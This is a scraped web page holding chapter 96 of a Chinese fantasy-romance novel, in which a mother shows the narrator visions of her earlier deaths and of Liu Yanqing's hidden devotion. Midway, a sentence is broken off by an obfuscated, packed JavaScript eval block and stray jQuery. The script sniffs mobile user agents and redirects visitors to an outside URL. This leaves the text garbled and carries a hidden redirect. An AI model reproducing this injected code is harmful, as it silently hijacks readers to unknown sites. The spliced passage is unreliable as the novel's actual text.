默认冷灰
24号文字
方正启体

96. 别来春半

作者:知一易本书字数:K更新时间:
    画面定格在少年砚清仰望星河的侧颜,他眼中映着万千星辰,那句“终会相遇”的誓言犹在耳畔。


    我的指尖微微发颤,悬在半空想要触碰那个记忆中的身影:“既然砚清他……一直都……”声音哽咽在喉间,“为何现在却……”


    娘亲的手轻柔抚过我的发梢:“让我们把时间再往前些。”她指尖在水镜上轻划,涟漪荡漾,“回到南风第一次奔赴旷野之时。”


    “是……我跳江那次?”我攥紧了衣角。


    娘亲摇头,水镜中的景象渐渐清晰:“但不是旷野。”她的声音忽然变得很轻,“而是在江对面的……西洲孤岛。”


    梅林深处,娘亲一袭翠羽霓裳静立身侧。熟悉感如潮水般涌来,我恍惚开口:“我好像……梦见过这里?”


    “是,那日你在竹村醒来前的梦境,被东婝抹去了。”


    娘亲的指尖点上我的额头,忘却的梦境忽地展开。


    “我想起来了!前面是……”我猛然指向远处,“江对岸就是旷野。我曾劝阻一个姑娘跳江……”声音戛然而止,“那人就是……我自己?”


    江风凛冽,记忆的撕扯更令人窒息。我攥紧衣襟,不敢深想。每一分回忆都像在胸腔里塞满冰碴。


    我到底为何在此,为了救……贺祈源吗?可砚清不是救了他?好乱……


    恍惚间,断崖边一抹白影攫住我的视线。


    “娘亲?那个人,是不是柳砚清?”


    转身时,身侧已空无一人。


    白衣仙人静立崖边,眉间凝着化不开的郁色。这不是梦境,而是三百年前真实发生的过往——


    原来那时,他就这样在西洲孤岛,默默注视着我?


    僵持许久,江对岸的“我”纵身跃下。下一秒,那道白影毫不犹豫地随入江中。


    “他也跳了?!”我惊呼出声。


    娘亲的声音忽然在耳畔响起:“那孩子得去救你啊。”


    “那刚才为何……”


    为何不在我纵身入江前制止我?


    “凡心最恼人的,便是妒这一窍。”娘亲轻抚我的发,“记得吗?这是你第一次殒命。那日之前……”


    记忆的迷雾渐散,凤冠霞帔的身影浮现镜中。


    “颜卿的……婚宴?”


    “嗯。你当众悔婚,转头却与另一人情定三生。”


    “那他为何……”我喉头发紧,“为何还要救我?”


    娘亲望着江面:“砚清是在凡间长大,看着医仙夜夜思念花神的爱意中长大的。痴情的人养育出的孩子,多少也沾点痴情吧。”


    我苦笑,“痴情到他可以眼睁睁看着我和别人欢愉……这是病吧?”


    娘亲忽然掩唇轻笑,眼尾漾起温柔的纹路:“若你知道他不愿告诉你的真相,你只会觉得他疯病得更厉害。”


    “娘亲知道那个真相?”我猛地抬头。


    “那是自然。”她抬手轻抚我的发顶,指尖带着几分怜惜,“娘亲可是死撑着最后一口气看完南风未来的人呐。不过,第一重生后,也是你上一次光临霜洲地界,只差一点就能看到自己的未来了呢。”


    我困惑地皱眉:“我没……明白。”


    “那本记载你们四人命数的天书,就藏在云枕书的书阁里。当年他亲手交予你,偏巧你刚与砚清吵完架,赌气说不看。云枕书特意强调事关砚清,你倒好……”她忽然学着我的样子叉腰瞪眼,“那更不看了!”


    惟妙惟肖的模仿让我耳根发烫,羞愧难堪。


    “等等……”我忽然抓住关键,“我和砚清吵架了?第一次重生后?为了什么?”


    娘亲轻叹:“那时的你记忆残缺,整日郁郁寡欢。是砚清带着你悬壶济世,看遍人间悲欢,才解开你的心结。”她意味深长地顿了顿,“结果你转头就要与他成亲。”


    我顿时羞愤交加,恨不得给过去的自己一拳:“所以……我刚逃了颜卿的婚,转眼就要与砚清……?”


    “而他拒绝了。”娘亲点头,“于是某个小祖宗就炸了毛。”


    “所以他如今也不肯答应我,也是此事?”我急切地追问。


    娘亲却神秘地眨眨眼,衣袖轻挥间,水镜泛起涟漪:“这个嘛——”她故意拖长了音调,“不如我们先去看看,南风的第二次离世?”


    旷野无垠,死亡在这里具象成永恒。


    黑云压顶,如铅块般沉甸甸地悬在头顶。岩浆在透明岩板下汩汩流动,映照出无数扭曲的人脸——那些为求复生而永世困在此处的亡魂。裂缝间探出的枯草,像极了垂死之人从地底伸出的指骨。


    雪花不是飘落的,是剐下来的。每一片都带着锋利的寒意,割开皮肉,钉入骨髓。滚烫的泥浆裹住双腿,每挣扎一步,就撕下一块血肉。视野里蒙着层擦不净的血雾,喉咙里堵着烧红的炭,发不出半点声响。


    冰霜爬上指尖,羽带坠入泥潭。耳边是千万只蝇虫的嗡鸣,细密的刺痛顺着耳道钻进脑髓,连自己的心跳都被淹没。


    我拼命眨眼,徒劳地想看清什么。可每一次睁眼,黑暗就更深一分。


    血腥味引来了蜉蝣。这些死亡的信使从四面八方涌来,麻痒的触感顺着指尖蔓延。它们钻进耳蜗,爬过后颈,啃噬着每一寸裸露的血肉。最后一点微光也被吞噬殆尽。


    我松开了攥紧的拳头。


    垂落的手碰到腰间的匕首,金属的冰凉竟让人感到一丝慰藉。


    “是贺祈骁给我的那把匕首……贺祈源送我的?”


    站在“自己”身侧,我死死盯着眼前的一幕,要将这剜心蚀骨的画面烙进魂魄深处。娘亲忽然执起绢帕,轻柔地拭过我的脸颊。


    “怎么看自己,给自己看哭了?”


    待视线清明,便见“我”已反握匕首,刀尖正对心口。奇怪的是,我竟完全理解那个选择——当痛苦漫过咽喉时,死亡何尝不是解脱?


    娘亲忽地轻拍我肩头。回首的刹那,整个世界轰然崩塌。


    “他……他什么时候在那里的……”


    她牵起我的手,掌心相贴的瞬间,时光如倒流的沙,溯回半个时辰前——当“我”独自踏入旷野,肉身寸寸崩裂之时。


    我死死闭着眼,睫毛颤抖如濒死的蝶,不敢回望。生怕一睁眼,便撞见那抹刺目的白——他的衣袂、他的面容,或是他眼底破碎的光。最终,我像被抽去全身筋骨,蜷缩在地,将脸深深埋进掌心,仿佛这样就能逃开现实。


    原来,柳砚清始终如影随形,沉默地跟随在十步之外,像一道无声的阴影,直至亲眼目睹刀尖抵住心口。


    “捅这里,可就一点活过来的办法都没有了。”


    他的嗓音低哑,像是砂纸磨过枯木,又轻得像一缕即将消散的风。一滴泪从我眼角滑落,坠入水面,没有激起涟漪,却像是惊醒了尘封多年的记忆——那些我以为早已腐烂的、属于他的温度。


    “娘亲……”我哽咽着唤她,嗓音支离破碎。


    “嗯,娘在。”她应得极轻,却像一根浮木,让溺毙之人得以喘息。


    “砚清他真的……真的病得不轻……”


    “傻孩子。”娘亲将我搂进怀中,叹息如羽毛,揉进我的发间,“你俩啊,差不到哪儿去。”


    她的怀抱那样暖,可我的心却像被冰刃刺穿,疼得发不出声音。原来最痛的不是生死相隔,而是明明近在咫尺,却谁都救不了谁。


    旷野的风呼啸而过,卷起两人的衣袂,像是要将他们吹散。可他们却紧紧相拥,唇齿相依,仿佛世间只剩彼此。


    柳砚清的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641666|163432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体温,一寸一寸,透过相贴的肌肤、交缠的呼吸,渡入我的身体。他的吻那样深,那样烫,像是要把自己残存的温度全都塞进我的血肉里。直到我彻底失去意识,他才终于松开手,轻轻吐出一口气——仿佛直到此刻,他才敢确认,自己这副早已冰冷的躯体,终究没能把我一同拖进地狱。


    “你明明告诉我……体温之事与我无关的……你这个骗子……”


    我不敢再看,可眼泪却先一步滚落。我狠狠擦去,却仍固执地睁着眼,看着柳砚清抱着那具早已冰冷的身体,坐在茫茫旷野之中,一动不动。


    ——然后,雪落了下来。


    他的墨色长发一寸寸褪去颜色,如霜侵染,直至彻底化作苍白。他的衣袍、眉睫、指尖,全身上下,只剩一片刺目的白。


    “他正在用自己半数修为和你的神力,去救那个凡人。”娘亲轻声解释,“只因方才……你在心底与他说的话。”


    “他怎么听得见我的心声……”


    “唔——”娘亲笑了笑,眼底却藏着哀伤,“娘亲猜,是因为爱吧。”她顿了顿,“按理说,唯有结为夫妻之人才能法术共通,心灵传音。所以……娘亲也无法解释,他为何能听见你的心声。”


    我抬起手腕,露出那枚莹润的神石。


    “有了这个,只要我在心里念他的名字,他就能听见,对吗?”


    “是。”娘亲点头,却又轻轻补了一句,“不过,纵使你不呼唤……他也会赶到你身边的。”


    我望着旷野上那道孤寂的白影,忽然笑了。


    “我知道……”


    风卷起雪沫,模糊了视线。可我知道,无论何时回头——


    他永远都在。


    走出幻境,竹影婆娑,细碎的阳光透过叶隙洒落一地斑驳。娘亲拉着我在青石上坐下,指尖轻轻拂过我的长发。


    “来,娘给你梳梳头。”


    我乖顺地靠在她并拢的腿上,木梳的齿尖温柔地穿过发丝,像春风抚过湖面,漾起细微的痒。竹叶沙沙,仿佛在低语。


    “娘亲……”我犹豫片刻,还是开口,“那个叫贺祈源的人,我从前……很喜欢他吗?”


    梳子微微一顿,随即又继续滑落。


    “谁知道呢。”她的声音轻得像一缕烟。


    我仰起头,怔怔地望着她。竹影在她眉眼间摇曳,看不清神情。


    “我想救他,白白送死两次,却两次都被砚清拦下……”我闷闷地揪住衣角,“砚清若是早点告诉我真相,我何必绕这么大一圈?”


    娘亲轻笑一声:“终于发现盲点了?”


    “他故意的吧!”我鼓起腮帮,气得直蹬腿,“就爱看我犯傻是不是?”


    “你爹爹那个老顽固,他不许的事,谁敢违逆?”娘亲无奈地摇头,“砚清那孩子,最是尊师重道,他师傅不发话,他哪敢多嘴?”


    清风徐来,竹海翻涌成浪。娘亲变戏法似的从袖中取出那支青竹发簪——闻笙送我的那支。灵巧的手指穿梭在发间,编起细细的辫子。


    “娘亲,”我忽然歪着头问,“贺祈源很帅吗?”


    她沉吟片刻,眼底浮起一丝怀念:“十九岁的少年将军,剑眉星目,笑起来像个小太阳。战场上能一骑当千,提笔又能画尽山河。”她轻轻将簪子别进我的发间,“你在医鹿山翻过的那本梅图集,便是他的手笔。颜卿信州厢房里挂的那幅竹林月下图,也是他画的。”


    “哇……”我眨了眨眼,“文武双全的天才啊。所以我就……深陷其中,无法自拔?”


    娘亲忽然捧起我的脸,目光温柔而通透:“但在娘亲看来,南风对那少年,虽有情意,更多的……却是亏欠。”她的拇指抚过我的眼角,“他不像爱人,倒像……一个永远还不了债的恩人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)